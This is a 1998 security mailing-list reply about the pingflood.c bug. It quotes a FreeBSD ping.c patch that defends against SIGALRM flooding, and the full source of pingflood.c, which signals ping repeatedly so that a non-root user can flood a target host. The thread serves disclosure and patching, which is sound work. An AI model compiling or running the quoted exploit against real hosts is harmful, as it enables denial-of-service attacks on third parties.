Date: Thu, 09 Apr 1998 22:10:23 +0200 (MET DST) From: md5330@mclink.it To: Jason Young <doogie@forbidden-donut.anet-stl.com> Cc: freebsd-bugs@FreeBSD.ORG, freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG Subject: Re: pingflood.c Message-ID: <XFMail.980409221023.md5330@mclink.it> In-Reply-To: <Pine.BSF.3.96.980515193936.5796C-100000@forbidden-donut.anet-stl.com>
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good! but is not for Linux ping.
I thought at the same patch solution!
I Knew that NetBSD is not vulnerable....
we can see their solution.
bye
p.s. sorry for my english.
On 16-May-98 Jason Young wrote:
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>
> This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I
> suspect it applies to all the other *BSD's as well. I have done only
> MINIMAL testing, so comments and other fixes are welcome.
>
> Jason Young
> ANET Chief Network Engineer
>
> *** ping.c Fri Mar 6 07:07:12 1998
> - --- ping.c.new Fri May 15 19:40:23 1998
> ***************
> *** 158,167 ****
> - --- 158,168 ----
> double tsumsq = 0.0; /* sum of all times squared, for std.
dev. */
>
> volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish
> up */
> int reset_kerninfo;
> volatile sig_atomic_t siginfo_p;
> + volatile time_t lasttime;
>
> static void fill(char *, char *);
> static u_short in_cksum(u_short *, int);
> static void catcher(int sig);
> static void check_status(void);
> ***************
> *** 209,218 ****
> - --- 210,220 ----
>
> setuid(getuid());
> uid = getuid();
>
> preload = 0;
> + lasttime = 0;
>
> datap = &outpack[8 + sizeof(struct timeval)];
> while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) {
> switch(ch) {
> case 'a':
> ***************
> *** 518,540 ****
> static void
> catcher(int sig)
> {
> int waittime;
> struct sigaction si_sa;
>
> ! pinger();
>
> if (!npackets || ntransmitted < npackets)
> (void)alarm((u_int)interval);
> else {
> - - if (nreceived) {
> - - waittime = 2 * tmax / 1000;
> - - if (!waittime)
> - - waittime = 1;
> - - } else
> - - waittime = MAXWAIT;
> - -
> si_sa.sa_handler = stopit;
> sigemptyset(&si_sa.sa_mask);
> si_sa.sa_flags = 0;
> if (sigaction(SIGALRM, &si_sa, 0) == -1) {
> finish_up = 1;
> - --- 520,551 ----
> static void
> catcher(int sig)
> {
> int waittime;
> struct sigaction si_sa;
> + time_t timenow;
>
> ! if (nreceived) {
> ! waittime = 2 * tmax / 1000;
> ! if (!waittime)
> ! waittime = 1;
> ! } else
> ! waittime = MAXWAIT;
> !
> ! /* Die if SIGALRM is caught earlier than it should have been. This
> ! * is usually the result of someone sending thousands of SIGALRMs
> ! * in an attempt to simulate a ping -f (flood).
> ! */
> !
> ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0);
> ! lasttime = timenow;
>
> + pinger();
> +
> if (!npackets || ntransmitted < npackets)
> (void)alarm((u_int)interval);
> else {
> si_sa.sa_handler = stopit;
> sigemptyset(&si_sa.sa_mask);
> si_sa.sa_flags = 0;
> if (sigaction(SIGALRM, &si_sa, 0) == -1) {
> finish_up = 1;
>
> - -----
>
> On Thu, 9 Apr 1998, AntireZ wrote:
>
>> /*
>>
>> pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
>> enhanced by David Welton <davidw@cks.com>
>> I tested it only on Linux RedHat 4.1 and 5.0.
>> David Welton tested it on Debian GNU/Linux and OpenBSD reporting
>> it works.
>> This program is free software; you can redistribute it and/or modify
>> it under the terms of the GNU General Public License as published by
>> the Free Software Foundation; version 2 of the License.
>>
>>
>> -------------------------------------------------------------------------
>>
>> pingflood.c allows non-root users to 'ping flood'.
>>
>> use it as follows:
>>
>> pingflood <hostname>
>>
>> WARNING: this program is only for demonstrative use only. USE IT AT
>> YOUR
>> OWN RISK! The authors decline all responsibility for
>> damage caused by misuse of the program.
>>
>> *** if you use this program to cause harm to others, you are very
>> small, petty and pathetic. ***
>>
>> to compile: gcc -o pingflood pingflood.c
>>
>>
>> -------------------------------------------------------------------------
>>
>> TECHNICAL NOTES
>>
>> When ping runs it normally sends an ICMP ECHO_REQUEST every second.
>> It accomplishes this using the alarm system call and waiting for a
>> SIGALRM
>> signal
>> from the kernel.
>> Pingflood simply sends a lot of SIGALRM signals to the ping process.
>> It can
>> do this because the ping process is owned by the user.
>>
>>
>> Salvatore Sanfilippo
>>
>> */
>>
>> #include <signal.h>
>>
>> #define PING "/bin/ping"
>>
>> main( int argc, char *argv[] )
>> {
>> int pid_ping;
>>
>> if (argc < 2) {
>> printf("use: %s <hostname>\n", argv[0]);
>> exit(0);
>> }
>>
>> if(!(pid_ping = fork()))
>> execl(PING, "ping", argv[1], NULL);
>>
>> if ( pid_ping <=0 ) {
>> printf("pid <= 0\n");
>> exit(1);
>> }
>>
>> sleep (1); /* give it a second to start going */
>> while (1)
>> if ( kill(pid_ping, SIGALRM) )
>> exit(1);
>> }
>>
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